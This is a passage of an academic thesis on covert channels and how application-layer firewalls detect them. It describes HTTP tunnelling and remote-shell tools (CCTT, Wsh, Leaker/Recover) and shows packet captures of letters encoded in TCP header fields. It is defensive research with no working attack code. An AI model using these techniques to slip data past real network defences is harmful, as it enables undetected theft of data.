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Abstract 
 
n recent years corporations and other enterprises have seen a 
consolidation of security services on the network perimeter.  Services that 
have traditionally been stand-alone, such as content filtering and antivirus 
scanning, are pushing their way to the edge and running on security 
gateways such as firewalls.  As a result, firewalls have transitioned from 
devices that protect availability by preventing denial-of-service to devices 
that are also responsible for protecting the confidentiality and integrity of 
data.  However, little, if any, practical research has been done on the 
ability of existing technical controls such as firewalls to detect and prevent 
covert channels. 
The experiment in this thesis has been designed to evaluate the 
effectiveness of firewalls—specifically application-layer firewalls—in 
detecting, correcting, and preventing covert channels.  Several application-
layer HTTP covert channel tools, including Wsh and CCTT (both storage 
channels), as well as Leaker/Recover (a timing channel), are tested using 
the 7-layer OSI Network Model as a framework for analysis. 
This thesis concludes that with a priori knowledge of the covert 
channel and proper signatures, application-layer firewalls can detect both 
storage and timing channels.  Without a priori knowledge of the covert 
channel, either a heuristic-based or a behavioral-based detection technique 
would be required.  In addition, this thesis demonstrates that application-
layer firewalls inherently resist covert channels by adhering to strict type 
enforcement of RFC standards. 
This thesis also asserts that metaferography is a more appropriate 
term than covert channels to describe the study of “carried writing” since 
metaferography is consistent with the etymology and naming convention 
of the other main branches of information hiding—namely cryptography 
and steganography.   
 
Key Words:  covert channels, metaferography, application-layer firewall, 
signature-based detection, information hiding 
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Chapter 1:   Introduction 
1.1 Overview 
he concept of covert channels in modern computing dates back decades 
and finds it roots in steganography. Steganography is the “art of hidden 
writing … [and] differs from cryptography, the art of secret writing, which 
is intended to make a message unreadable by a third party but does not 
hide the existence of the secret communication.” [1] 
While encryption makes it difficult to read intercepted data, covert 
channels make it difficult to detect that a message has even been sent. For 
additional security, both data hiding and data encryption technologies can 
be used to transport and protect very sensitive data such as personally 
identifiable information (PII) or financial transactions.  Likewise, even 
terrorists have allegedly used steganography to manipulate innocuous-
looking pictures in order to covertly pass messages on the Internet. [2] 
In order to facilitate data protection and prevent data leakage, most 
organizations deploy perimeter-based solutions such as firewalls and 
intrusion detection/prevention (IDS/IPS) systems.  According to the 2008 
Computer Security Institute (CSI) Computer Crime and Security Survey, 
94% of respondents use network-layer firewalls, while 53% of respondents 
also use application-layer firewalls.  Furthermore, 69% of respondents use 
intrusion detection systems, while only 54% use intrusion prevention 
systems. [3] Because most of the respondents have a direct interest or role 
T 
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in information security, these statistics are most likely much higher than 
the industry average. 
Given that firewalls have almost universal adoption in industry 
compared to other perimeter technologies, configuring firewalls to defend 
against covert channels would be highly desirable.  However, recent 
research suggests that network-layer firewalls are ineffectual at defending 
the perimeter from covert channels, while application-layer firewalls enjoy 
only minor success out of the box. [4] 
1.2 Hypothesis 
While application-layer firewalls have only limited success using out-of-
the-box configurations, they should be capable of detecting a much wider 
range of metaferographic communications or covert channels by virtue of 
understanding each layer from physical to application. 
1.3 Purpose 
The purpose of this thesis is to evaluate the effectiveness of firewalls in 
detecting, correcting, and preventing covert channels within network 
communications using the 7-layer OSI Network Model as a framework for 
analysis. 
1.4 Methodology 
The following methodology provides a high-level overview of how the 
hypothesis will be tested and the overall approach to the thesis.  Previous 
research will also be incorporated indicating that network-layer firewalls 
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are not effective at preventing network-layer covert channels, while 
application-layer firewalls enjoy more success with network-layer covert 
channels but not application-layer covert channels in out-of-the-box 
configurations. 
An application-layer firewall will be deployed as it would be in real 
life in order to test its ability to detect, correct, and prevent application-
layer covert channels such as CCTT, Wsh, and Leaker/Recover.  If the 
application-layer covert channel can be detected, corrected, or prevented, 
this will be contrasted with the out-of-the-box behavior of the firewall.  
Finally, the test environment will be carefully documented, and a diagram 
showing physical and logical connectivity will be provided. 
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Chapter 2:   Background 
he United States Department of Defense defines a covert channel as “a 
communication channel that allows a process to transfer information in a 
manner that violates the system’s security policy.” [5] In particular, early 
studies focused on the transfer of data between high and low nodes within 
a single multi-level processing (MLP) system.   
With the advent of the Internet, distributed processing increases the 
impact and likelihood of covert channels existing between nodes of varying 
classification levels.  Furthermore, while most publicly connected networks 
are protected by some sort of firewall designed to prevent attacks on 
availability, these same firewalls have little effect on attacks to 
confidentiality such as information hiding. 
2.1 Information Hiding 
Information hiding can be classified into three main branches of study: 
cryptography, steganography, and covert channels. The author proposes 
that covert channels be formally known as metaferography in order to be 
more consistent with the etymology and naming convention for both 
cryptography and steganography. 
2.1.1 Cryptography 
Cryptography, from the ancient Greek κρυpiτό (kryptos), meaning “hidden” 
writing [6], scrambles message text, making it unintelligible without a 
T 
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secret key.  The writing exists in plain view, though it is unreadable.  The 
study of cryptography is most often associated with encryption and its 
associated algorithms. 
Cryptography was often used during wartime.  For example, both the 
Greek skytale (or scytale) as well as the Conferederate Cipher Disc were 
used to protect battlefield communications.  Thucydides documented the 
first known use of the skytale to summon Pausanius back to Sparta circa 
475 BC. [7] The skytale is a cylindrical rod upon which a strip of paper or 
leather could be wrapped.  A message is then written lengthwise down the 
rod.  When the medium of paper or leather is unwrapped, the message 
becomes unintelligible.  Only a rod of the same diameter will produce the 
same message.  This represents a simple form of cryptography known as 
transposition encipherment. 
 
Replica of Greek skytale displaying “COMPUTERSE CURITYANDI” 
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The Confederate Cipher Disc was used to secure communications by 
the Southern Confederacy during the American Civil War.  The cipher 
disc is a mechanical implementation of the Vigenère cipher consisting of 
two connected discs of varying sizes with the alphabet inscribed 
equidistantly around the edges. [8] [9] As the discs rotate, different letters 
line up.  As a result, by lining up each letter of the plaintext on the inner 
wheel with “A” on the outer wheel, the corresponding letter opposite of the 
key phrase on the outer wheel becomes the ciphertext.  For example, 
Plaintext:  C  O  M  P  U  T  E  R  S  E  C  U  R  I  T  Y 
Keyphrase:  M  A  N  C  H  E  S  T  E  R  B  L  U  F  F  M 
Ciphertext: O  O  Z  R  B  X  W  K  W  V  D  F  L  N  Y  K  
 
Replica of Confederate Cipher Disc 
This represents a simple—but effective—form of cryptography known as 
substitution encipherment. 
Modern cryptographic applications such as GPG (an open-source 
version of PGP) build upon these fundamental ideas by automating the 
mathematically intensive transformations from cleartext to ciphertext.  
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The example below shows the plaintext and ciphertext of a GPG 
transformation: 
root@Internal:/# cat message.txt 
Computer Security and Information Assurance at 
Rochester Institute of Technology 
Human-readable plaintext message before encryption 
root@Internal:/# cat message.txt.gpg 
mÄ^ã¯/ö`ÉkÑÚ 
¤è4»GxL(ïów£óG!S¦Ör¿Ý"1|È¢1¼Z®0¥ù¬19Zo&DÞaC¢æmê-
Ì OPbÉQ49øÉýqD-ÚbÐV     ¡b;z3ÁplÛä 
Unintelligible ciphertext message after encryption 
In this example, even if an attacker has the ciphertext, the ciphertext is 
useless without knowing the secret key that encrypted the message. 
2.1.2 Steganography 
Steganography derives itself from the Greek στεγανό (steganos), meaning 
“covered” writing [10], and attempts to hide the message within another 
message.  Because the presence of the actual message itself is concealed, 
steganography relies on “security through obscurity” to keep the message 
safe.  For example, there are several implementations of stego that use 
content-rich media such as imagery, audio, or video to conceal a message. 
Like cryptography, steganography has been used during times of war.  
For example, British Lt. General Sir Henry Clinton composed a letter to 
General John Burgoyne during the American Revolutionary War such 
that when a mask or grille was applied to the letter, a second distinct 
message appeared. [11] The challenge with this type of writing is to ensure 
that both the apparent message and the actual message make sense to the 
reader. 
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Replica of the Masked Letter found in the Clements Library at the 
University of Michigan  
In a more recent example of steganography, California Governor 
Arnold Schwarzenegger allegedly embedded a vulgar, hidden message in 
his veto of Assembly Bill 1176.  The Governor’s office denied the message, 
chalking it up as simply a “strange coincidence.” [12] 
 
Governor’s veto response to Assembly Bill 1176 
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Modern steganographic applications such as Hide In Picture [13] 
work by altering a medium such as an image or audio/video clip in a way 
that is not detectable by humans but yet can be detected by a computer 
when the proper password is provided.  In the bitmap image below, the 
secret message was embedded using the Blowfish algorithm with a 
password of “CSIA.” 
Computer Security and Information Assurance at 
Rochester Institute of Technology 
Secret message embedded using steganography 
  
Original image Image with embedded message 
 
2.1.3 Metaferography 
Metaferography originates from the Greek μεταφέρό (metaferos), meaning 
“carried” writing [6].  Like steganography, metaferography attempts to 
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hide the actual message.  However, unlike steganography, metaferography 
conceals the message within a carrier or transport mechanism. The study 
of metaferography includes covert channels and is often associated with 
electronic data communications.  Zander clarifies that, “[w]hile 
steganography requires some form of content as cover, covert channels [sic] 
require some network protocol as carrier.” [14] 
Given the etymology of metaferography, the author proposes that 
metaferography be adopted in lieu of covert channels to describe the study 
of covert channels.  This brings consistency to the nomenclature used with 
the other branches of information hiding, namely cryptography and 
steganography.  In this way, covert channels can still be used to describe 
the actual implementation, while metaferography can describe the field of 
study pertaining to covert channels. 
Historically, metaferography was used by the ancient Greeks to 
protect a message by writing it on the surface of a wooden tablet and 
covering it with wax so that the message could not be seen and appeared 
to be an ordinary blank wax tablet.  Herodotus reported that this 
technique was used to warn the Spartans of the impending invasion by the 
Persian Empire. [15]  
In a more recent example, German spies used invisible ink on 
newspapers during WWII.  Although invisible ink is traditionally thought 
of as a form of technical steganography, the fact that the ink is used on a 
carrier (in this case a newspaper) may lend itself to being thought of as 
metaferography instead.  Similarly, microdot printing used extensively by 
spies during WWII and the Cold War is also a form of metaferography 
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since the printing is done on a carrier substrate and is not covered within 
other “writing.” 
Modern software such as Covert_tcp [16] uses metaferography to 
carry a message inside the TCP protocol itself.  In this instance, 
Covert_tcp manipulates the TCP packet header in order to transmit data.  
Encoding can be done using either the IP packet ID (IPID) field, the 
Initial Sequence Number (ISN) field, or the ACK field (using a bounce 
server).  In addition, data can be sent over any arbitrary port.  
Covert_tcp is an example of a network-layer covert channel tool. 
To highlight the differences between metaferography and 
steganography, the scenario of hiding a message in a Voice-over-IP (VoIP) 
phone call is helpful.  Takashi and Lee [17] developed a way to hide the 
message in the RTP payload.  Because they are altering the actual 
message being delivered, this would be considered a form of 
steganography.  Forbes, on the other hand, modified the timestamp field 
in the RTP header [18] in order to transmit covert data.  Because it 
altered the carrier and not the actual payload, this would be considered a 
form of metaferography. 
2.2 Covert Channels 
Lampson, one of the early pioneers in the study of covert channels, 
classifies covert channels as either storage or timing channels, which are 
also known as spatial and temporal channels. [19] Storage channels modify 
legitimate data being passed between two systems in such a way that it 
can be changed by one system and read by another.  Conceptually, storage 
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channels are the easiest to implement and detect.  Most of the available 
open-source covert channel tools are implementations of storage channels. 
Timing channels attempt to modulate the amount of time it takes for 
data to be transmitted from one system to another.  While timing 
channels can be harder to detect than storage channels, timing channels 
are rarely used in real-time communications over public networks due to 
the asynchronous nature of Internet traffic. [20]  However, timing channels 
with long cycle times (and, therefore, low bandwidth) can be used for non-
real-time communications over the Internet. 
Contrary to popular belief, storage channels do not have to 
necessarily modify common data such as files or shared memory. Instead, 
storage channels can write data to unused fields in packet headers 
(network layer) or even write to the temporary application stream 
(application layer). 
Prior research suggests that network-layer channels are easier to 
prevent than application-layer channels, especially in situations where 
strict type enforcement is required on the network infrastructure [4]. This 
may be due in part to the fact that network-layer transport mechanisms 
are based on well-documented standards and are limited in scope. 
However, as the transport shifts to the application-layer, many more 
possibilities for transportation exist which become much harder to detect. 
As a result, this thesis focuses exclusively on the application layer 
and attempts to demonstrate how application-layer covert channels can be 
effectively remediated by a perimeter firewall. However, in order to put 
application-layer covert channels into context, network-layer covert 
channels must first be understood. 
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2.2.1 Network-layer Channels 
RIT professors Yuan and Lutz note that covert channels can exist in any 
packet-switched network. [21] Essentially, when a session is broken up into 
multiple packets, those packets can be sent with different sizes. By 
varying the packet size in an ordered manner (e.g., odd packet sizes = 1, 
even packet sizes = 0), a covert channel can be developed from the main 
channel. 
Yuan and Lutz developed a proof-of-concept application using a 
modified TFTP program. They found that in order to detect variations in 
packet sizes, the entropy of packet sizes needed to be measured. In many 
cases, it would be extremely difficult to detect the existence of a covert 
channel. Because this technique changes the packet body, it is considered 
a storage technique. 
In contrast, Cabuk, Brodley, and Shields [22] focused on the design 
and detection of covert channels that use timing techniques within the 
TCP/IP protocol. Examples of network timing techniques include channels 
where the order of packet arrival conveys information, as well as channels 
where the arrival times are important. 
By developing and analyzing a simple covert channel, Cabuk et al. 
identified several factors that may impact its performance: 
• Network conditions 
• Sender/receiver processing capabilities 
• Complexity of the algorithms 
• Portability of the programming language 
Furthermore, by varying the timing interval and injecting noise into the 
channel, the performance of these methods could be tested. The authors 
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found that given these variables, data could be reliably sent and the 
maximum dependable speed of transmission could be determined. 
Tumoian and Anikeev [23] proposed that passive storage channels in 
TCP/IP could be detected using packet analysis to review packet 
characteristics such as the Initial Sequence Number (ISN). In addition, 
Tumoian et al. went on to propose that a neural network could be trained 
to identify the presence of a covert channel. The authors conclude that 
such a system could identify a network-based covert channel with great 
precision. 
Berk, Giani, and Cybenko [24] researched interarrival packet times to 
encode covert messages. While the authors acknowledge that timing 
channels can be detected using statistical analysis to identify outliers, 
further experimentation would be necessary to determine real-world 
feasibility. 
2.2.2 Application-layer Channels 
Given that most network activity can be linked to a user's identity, Bauer 
argued that HTTP is an excellent choice as a cover protocol. [25] Not only 
does HTTP account for a large percentage of Internet traffic, the diversity 
in senders and receivers makes it easy to have non-participants generate 
cover traffic. Furthermore, content-rich images, audio, and video make it 
the perfect choice to tunnel higher bandwidth applications or data. 
Brown [26] documented an HTTP timing channel that records the 
sequence of GET requests within an “established time window” between a 
client and a web server. One drawback to this type of timing channel is 
the introduction of delay, whether the natural delay associated with public 
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networks such as the Internet or the deterministic delay introduced 
artificially by Borders and Prakash. [27] These researchers looked at 
detecting covert channels in HTTP by using Web Tap, a network-based 
intrusion detection application. Unlike many signature-based intrusion 
detection applications such as Snort, Web Tap uses anomaly-based 
heuristics in order to detect intrusions. 
After testing several publicly available covert tunneling programs, 
Web Tap was able to successfully identify each tunnel over time. Borders 
and Prakash concluded that, while it would be possible to evade the 
detection system, it would require an in-depth knowledge of Web Tap’s 
thresholds as well as detailed knowledge of baseline user activity. 
2.3 Theoretical Covert Channels Within 
the OSI Network Model 
The OSI Network Model is a well-known abstraction for how two systems 
communicate over a network.  It is composed of seven distinct layers from 
physical to application, where physical is the lowest layer and application 
is the highest layer.  The abstraction is useful because it can help pinpoint 
where problems are by validating that each of the layers from lowest to 
highest are working. 
The previous section discussed in detail both network-layer and 
application-layer covert channels.  However, as the examples below 
demonstrate, covert channels can exist at any layer of the OSI Network 
Model.  Handel and Sandford note that, “[t]he modularized design of the 
OSI model makes discovery and exploitation of [covert] channels an easier 
task than...exploit[ing] the network design as a whole.” [28] 
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2.3.1 Physical – layer 1 
The physical layer is the layer closest to the hardware.   This layer works 
closely with the network card’s firmware to covert data bits into electrical 
zeroes and ones.  One possible physical-layer covert channel might be to 
inject data into the carrier for X10 power-line networking, a technology 
that runs Ethernet signals over the existing electrical wiring in a building 
to create a local network. 
2.3.2 Data Link – layer 2 
The data link layer is composed of two sublayers: logical link control 
(LLC) and media access control (MAC).  This layer takes data from the 
physical layer and organizes it into chunks known as frames.  One example 
of a data link-layer covert channel would be to hide data in the beacon 
frame broadcast by 802.11 wireless access points. 
2.3.3 Network – layer 3 
The network layer is where data is formed into packets and IP addressing 
occurs in the packet header.  Network-layer firewalls primarily inspect the 
source and destination IP addresses and the source and destination ports 
in order to make a decision on whether the traffic should pass.  As a 
result, covert channels that manipulate the IPID and ISN in the packet 
header are unlikely to be detected by these types of firewalls.  The ICMP 
tools noted by Stokes [29] are examples of network-layer covert channels 
that are not detected or prevented by network-layer firewalls such as 
Check Point NGX. 
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2.3.4 Transport – layer 4 
The transport layer is the traffic cop of the OSI model.  It is at this layer 
that short-term routing decisions are made and data is transformed from 
packets into segments.  This is the layer at which the Transmission 
Control Protocol (TCP) operates and provides connection-oriented 
services.  As a result, a covert channel could be developed that hides data 
in the TCP sequence or acknowledgement numbers, as these are agreed 
upon between source and destination.  
2.3.5 Session – layer 5 
The session layer is responsible for establishing and tearing down 
connections between systems.  This layer manages the negotiation between 
systems for specifically how the connection will be made, as well as how 
the connection will be maintained moving forward.  This process is very 
similar to the SSH covert channel documented by Walter, where data 
could be stored in the SSH_MSG_IGNORE field during session setup. 
[30] 
2.3.6 Presentation – layer 6 
The presentation layer deals with the conversion of data to a given 
format.  This layer includes processes for encryption, compression, and 
multimedia transforms (e.g., GIF, JPEG, MPEG).  Likewise, the covert 
channel in the compression codec of RTP described by Lloyd [31] would 
operate at the presentation layer. 
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2.3.7 Application – layer 7 
The application layer is the layer that faces the user and accepts user 
input.  There are many applications that run at this layer including 
HTTP, FTP, Telnet, and SSH.  The thorough paper by Brown [32] lists a 
variety of ways that covert channels could be developed for HTTP, as well 
as a number of the common tools for creating covert channels within 
HTTP.  
2.4 Firewalls 
There are two primary types of firewalls: network-layer and application-
layer firewalls.  As the names suggest, they operate primarily based on 
which layers of the OSI model they understand.  For example, a network-
layer firewall can understand attacks from the physical layer through the 
network layer, while an application-layer firewall can understand attacks 
at every layer of the OSI model. 
2.4.1 Network-layer Firewalls 
Network-layer firewalls operate at layer 3 of the OSI Network Model.  
They are the most common type of firewall and control access based on 
network characteristics such as source or destination IP address, source or 
destination port, and connection status.  Such firewalls provide strong 
defenses against network-layer attacks such as spoofing or flooding. 
Network-layer firewalls can be either stateful or stateless.  Modern 
stateful firewalls maintain information about the connection’s session and 
actually operate at the transport layer (layer 4).  Many commercial 
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versions even include add-on functionality to check or analyze limited 
application-layer (layer 7) components such as HTTP, FTP, or SMTP. 
Firewall-1 from Check Point Software Technologies 
(http://www.checkpoint.com/) is an example of a commercially available 
network-layer firewall highlighted on Gartner’s Magic Quadrant. [33] 
 
Screenshot showing Check Point management GUI 
2.4.2 Application-layer Firewalls 
Application-layer firewalls operate at layer 7 of the OSI Network Model.  
They are relatively rare as a pure firewall, since they require a detailed 
understanding of a large number of services ranging from DNS to RTSP to 
HTTP to NFS.  Application-layer firewalls typically include proxies for 
popular services such as SMTP, HTTP, or FTP.  In addition to operating 
at layer 7, application-layer firewalls also operate at the lower layers 1-6. 
One drawback is that they require constant updates as changes to the 
protocol specs or specific application standards such as SOAP are released. 
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Application-layer firewalls can be transparent where user traffic 
routes across the firewall or non-transparent where user applications need 
to be explicitly pointed at the firewall.  Depending on the implementation 
and configuration, these types of firewalls can provide loose or strict 
protocol enforcement.  Strict protocol enforcement requires that the 
firewall adhere exactly to the published RFC for that particular protocol.  
For example, if a field in the protocol specification is marked unused, 
strict type enforcement will drop a packet if there is any data in it. 
The McAfee Enterprise Firewall (formerly known as Sidewinder from 
Secure Computing) is an example of a commercially available application-
layer firewall highlighted on Gartner’s Magic Quadrant. [33] 
 
Screenshot showing McAfee management GUI 
2.4.3 Intrusion Detection System (IDS) 
An intrusion detection system (IDS) is a system that watches for 
malicious activity or behavior.  An intrusion prevention system (IPS) is a 
system that can block malicious activity once it is detected.  Most modern 
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IDS systems are really IPS systems that are configured to not block 
traffic.  Many people use the term IDS and IPS interchangeably. 
There are two types of IDS systems: host-based IDS (HIDS) and 
network-based IDS (NIDS).  HIDS systems are installed on the endpoint 
and watch for suspicious behavior on that particular host.  They tend to 
be reactive and used after an incident in order to figure out how the 
intrusion occurred and the scope of the damage. 
Network-based systems are typically installed on the perimeter and 
look for suspicious network communications for any machine.  They tend 
to be used proactively to block traffic before it ever completely traverses 
the network.  When a NIDS is installed in-line (i.e., traffic routes through 
the NIDS appliance), it can drop traffic by terminating the session.  
However, when a NIDS appliance is installed out of band, it can still drop 
traffic by manipulating the access lists of a router or firewall. 
Many firewalls now offer options for basic IDS or IPS systems to be 
installed on-box.  Several firewalls, such as the McAfee Enterprise 
Firewall, even allow the user to create custom user-defined IDS or IPS 
signatures.  Gartner defines the next generation firewall as having 
“[i]ntegrated rather than merely colocated network intrusion prevention.” 
[34] Rather than simple static signatures, Gartner goes on to predict that 
the Next Generation Firewall will look at traffic characteristics so that 
“the firewall correlates rather than the operator having to derive and 
implement solutions across consoles.”  With this type of integration, in the 
future it should be possible to perform both signature-based and heuristic-
based detection. 
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2.5 Covert Channel Tools 
2.5.1 Network-layer Tools 
2.5.1.1 Covert_tcp 
Covert_tcp is an older, open-source, client-server tool written in C, circa 
1996. [16] The application works by manipulating the TCP packet header 
in order to transmit data. Encoding can be done using either the IP packet 
ID (IPID) field, the Initial Sequence Number (ISN) field, or the ACK field 
(using a bounce server).  In addition, data can be sent over any arbitrary 
port.  Covert_tcp is an example of a network-layer covert channel tool. 
 
Screenshot showing Covert_tcp displaying client data received 
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2.5.2 Application-layer Tools 
2.5.2.1 CCTT 
CCTT, or the Covert Channel Tunneling Tool, was developed in C by the 
Grey-world.net Team. [35]  The latest version v0.1.8 is dated September 2, 
2003.  The tool supports TCP/IP tunneling through TCP, UDP, HTTP 
POST, or HTTP CONNECT messages.  CCTT is an example of an 
application-layer covert channel tool. 
 
Screenshot showing CCTT connecting to an external server 
2.5.2.2 Wsh 
Wsh, or Web shell, was also written by the Grey-world.net Team [36] and 
includes versions in C, Perl, and Java.  The tool provides a remote shell 
using HTTP POST requests.  It supports SSL, file upload/download, 
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secret key exchange, and data encoding.  Wsh is an example of an 
application-layer covert channel tool. 
 
Screenshot showing Wsh connecting to an external server 
2.5.2.3 Leaker/Recover 
Leaker/Recover are Java programs written by Erik Brown [26] to transmit 
and receive data as part of an application-layer covert channel.  The 
Leaker program sends data one bit at a time by making a specially 
encoded HTTP GET request to a web server owned by the attacker.  The 
Recover program looks at the timestamps of Apache’s 
/var/log/httpd/access_log log file to determine if data was sent.  If the 
Recover program sees a GET request within the expected time interval, 
the bit is set to a one; otherwise, the bit is set to zero.  This interval is 
measured in milliseconds, so a user-selected interval of 4,000 would check 
for data every 4 seconds. 
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Screenshot showing Leaker transmitting data to Recover 
2.6 Tool Methodologies 
There are several basic methodologies employed by covert channel tools to 
communicate, including header manipulation, server bouncing, proxy 
chaining, tunneling, and interval logging. 
2.6.1.1 Header Manipulation 
Header manipulation attempts to change the packet header in such a way 
that the packet will still function correctly.  Commonly manipulated fields 
include the IP packet ID (IPID) and the Initial Sequence Number (ISN).  
One drawback to this technique is that certain devices, such as packet 
filters or address translation engines, may rewrite the data in these fields, 
making the channel unreliable.  In Covert_tcp’s implementation, the IPID 
is not byte ordered, so the value can be converted to its ASCII equivalent 
by dividing by 256. [37] 
20:13:42.554027 IP (tos 0x0, ttl  63, id 17152, offset 
0, flags [none], proto: TCP (6), length: 40) 
Page 26 
10.1.1.2.50700 > 192.168.202.153.http: S, cksum 0xb723 
(correct), 2585591808:2585591808(0) win 512 
 
IPID=17152, ASCII = 17152/256 = 67 = C 
Packet capture showing IPID encoding of the ASCII letter C 
Likewise, the ISN is not byte ordered, so the value can be converted to its 
ASCII equivalent by dividing by 16,777,216. [37] 
20:32:10.660453 IP (tos 0x0, ttl  63, id 15104, offset 
0, flags [none], proto: TCP (6), length: 40) 
10.1.1.2.51746 > 192.168.202.153.http: S, cksum 0x0a2b 
(correct), 1124073472:1124073472(0) win 512 
 
ISN=1124073472, ASCII = 1124073472/16777216 = 67 = C 
Packet capture showing ISN encoding of the ASCII letter C 
2.6.1.2 Server Bouncing 
Server bouncing occurs where traffic is reflected from one machine to 
another.  For example, using address spoofing, the ACK packets in TCP’s 
three-way handshake can be used to carry data from an outside victim 
machine to an outside listening server.  One drawback to this technique is 
that many perimeters are configured with antispoofing defenses.  
Covert_tcp is an example of an open-source tool that supports server 
bouncing. 
2.6.1.3 Proxy Chaining 
Proxy chaining uses an intermediary machine to act as a “proxy” and 
connect to the final destination on behalf of the user.  Proxy chains are 
often used to introduce anonymity by making it difficult to trace the 
traffic back to the source.  Many content filtering solutions block access to 
Page 27 
well-known anonymizers or open proxies.  CCTT is one example of an 
open-source tool that supports proxy chaining. 
2.6.1.4 Tunneling 
Data stream encapsulation occurs at the upper layers of the OSI network 
model.  This technique is known as “tunneling” or “wrapping.”  The data 
stream is secretly wrapped within a protocol such as HTTP. [38] Unless 
the firewall is protocol aware, it can be very difficult to prevent this type 
of metaferographic communication or covert channel. [39]  Wsh is an 
example of an open-source tool that supports tunneling. 
2.6.1.5 Interval Logging 
Interval logging is a technique that uses the time stamp of log entries to 
determine if activity has taken place.  The logs must be accessible to the 
attacker and can exist at any point along the communications path: the 
originating sender, the local network, the perimeter network, or the 
receiving destination.  In the case of Leaker/Recover, the programs use the 
timestamps of the HTTP traffic on the destination web server to 
determine if data was transferred.  As a result, this covert channel tool 
takes advantage of a timing channel. 
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Chapter 3:   Detection 
3.1 Detection  
here are three primary detection techniques: 
• Signatures 
• Heuristics 
• Behavior 
3.1.1 Signature-based Detection 
Signature-based detection works by noting “what” is specifically being 
done.  It essentially uses pattern recognition to look for static elements of 
traffic from which to trigger.  Signature-based detection techniques are 
fairly easy to implement and are not as prone to false positives as are 
other techniques.  However, the signatures require a priori knowledge of 
the target. 
Like antivirus definitions, signature-based IDS/IPS definitions need 
to be constantly updated as new threats arrive, since signature-based 
detection is not effective against new threats or zero-day attacks.  For 
example, Symantec, a leader in the antivirus industry, updates their 
antivirus definitions multiple times per day. 
Over time the dictionary of signatures can grow large.  Most 
antivirus companies keep only the most frequently seen signatures in their 
dictionary. To make signatures quicker to look up, antivirus companies 
often use hash values of data.  However, intrusion detection/prevention 
T 
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signatures often offload processing to add-on hardware to improve high-
speed content inspection. 
Another challenge with signatures is that attackers can change the 
payload—often in very minor ways—to avoid detection.  For example, 
malware authors often use obfuscation techniques, such as compression or 
“packing” and customized encryption/decryption, to avoid detection.  
Furthermore, malware that is polymorphic and has the ability to change 
itself can be very difficult for signatures to detect.  Likewise, if a covert 
channel tool evolves or the deployment changes, signatures may not 
correctly detect the covert channel. 
In order to detect the application-layer covert channel tools (CCTT 
and Wsh), custom user-defined signatures were developed and analyzed 
using live network traffic in the test environment. 
3.1.2 Heuristic-based Detection 
Heuristic-based detection works by noting “how” something is being done.  
It looks at the characteristics of traffic, such as the number of packets per 
second, in order to generate an alert.  Heuristics are much more generic 
than signatures and can be reused between systems without significant 
configuration or tuning changes. 
While heuristic-based detection is an effective way to locate unknown 
threats, it also can have a deleterious impact on performance because of 
the significant amounts of data that it needs to analyze and retain.  
Heuristic-based detection is not as exact as signature-based detection and 
requires a solid understanding and baseline of normal traffic flow.  
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Otherwise, it can generate both false positives and negatives as the 
attributes and characteristics of the traffic evolve and change. 
According to [40], heuristic detection can be done by measuring three 
criteria: 
• Volume 
• Frequency 
• Behavior 
Volume looks at how much data has been transferred over time.  
Two anomalies to look for are large amounts of data from a single request, 
such as a POST or PUT, and very small but frequent transfers of data.  
Frequency looks at how often data is transferred or the rate at which it is 
transferred.  One of the signs of a covert channel is if data is being 
transferred too frequently.  Alternately, another sign is if data is being 
transferred at regular, static intervals.  Behavior can look for specific 
patterns in traffic such as connection banners, as well as protocol 
anomalies or violations. 
Volume and frequency characteristics lend themselves to measuring 
the probability distributions or entropy in the system.  Gianvecchio and 
Wang describe several measures for entropy [41] and make a compelling 
argument that timing covert channels can be detected using entropy. 
The general formula for entropy, E, is given below: 
∑
=
=
n
i
ii PPE
1
log  
This formula will produce a frequency count for each symbol.  The 
challenge, of course, is to define all of the symbols.  By looking at the 
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consequence of covert channels, rather than the direct actions, we can 
start to ask ourselves: 
• How many sources are there? 
• How many destinations are there? 
• How much inbound data is there? 
• How much outbound data is there? 
• How long does each connection last? 
• What is the current rate of connections? 
Another question that will be important to a heuristic detection 
system is how much data needs to be collected.  The longer the interval, 
the better the chance of detecting slower covert channels.  However, this 
drastically increases the amount of data that needs to be accounted for 
and measured. 
One way to increase the measurement interval without increasing 
data collection is to create a baseline by averaging much smaller periods.  
For example, to measure a week’s worth of data, the data should be 
collected hourly and the statistics averaged into a baseline with 168 data 
points.  This is essentially the concept of aggregation, which has been used 
successfully in the data reduction techniques of data mining. 
3.1.3 Behavioral-based Detection 
Behavioral-based detection attempts to answer the difficult question of 
“why” certain behavior is happening and what is normal.  Behavioral-
based detection attempts to take a much broader view of traffic by looking 
at the patterns of traffic flow to determine the goals and intent of an 
attacker.  As a result, this type of detection is subject to a high rate of 
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false positives and negatives.  However, this method can detect new 
threats or zero-day attacks. 
Behavioral-based detection looks at existing behavior to “train” the 
system and develop a model of behavior.  It then compares this model 
with current behavior in order to detect anomalies, much like artificial 
intelligence.  Unfortunately, as behavior changes over time, the model 
needs to be updated in order to stay current.  However, it does not need 
to be updated as often as signature-based detection or heuristics.  
Behavioral-based detection is even more abstract than heuristic-based 
detection and can produce significant false positives if not correctly tuned. 
The challenge is that systematically modeling behavior—even with a 
narrow-focus such as HTTP—produces an extremely large number of 
possibilities to consider.  As a result, behavioral-based detection is out of 
the scope of this thesis; instead, attention will be given to signature-based 
and heuristic-based detection as it relates to covert channels. 
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Chapter 4:   Experimental Design 
4.1 Goals 
he goal of this experiment is to determine if an application-layer 
firewall can be configured to block application-layer covert channels.  
Initial connectivity will baseline out-of-the-box behavior for the firewall, 
while subsequent tuning will attempt to prevent the traffic. 
Two popular application-layer covert channel tools, CCTT and Wsh, 
will be used during testing to represent storage channels. A third tool, 
Leaker/Recover, will represent a timing channel at the application layer.  
These tools were selected because of their widespread use, robust feature 
set, and use of HTTP as a transport mechanism.  Given the ubiquitous 
nature of web browsing and the fact that few corporate security policies 
prohibit HTTP traffic, it makes HTTP the perfect protocol to test covert 
channel detectability.  A behavioral covert channel tool was not tested 
because of the lack of readily available tools and a certainty that existing 
perimeter controls have no hope of detecting such a tool. 
In order to determine how to block the traffic, audit log data from 
the firewall and packet captures from tcpdump will be carefully reviewed.  
If the tools are able to be blocked, they will be reconfigured to see if they 
can sneak covert traffic through another way. 
T 
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4.2 Topology 
The test environment will simulate an enterprise infrastructure whose 
Internet presence is protected by an application-layer firewall.  Common 
Internet services will be allowed out of the private network, while traffic 
from the public network will not be allowed to initiate connection into the 
private network.  This mirrors the “positive” security model—deny 
everything except that which is explicitly allowed—used by most 
corporate environments. 
The logical topology diagram below shows the placement of nodes on 
the public and private networks.  In addition, the diagram shows which 
services are allowed outbound from the private network to the public 
network.  No inbound services are allowed in the test environment. 
 
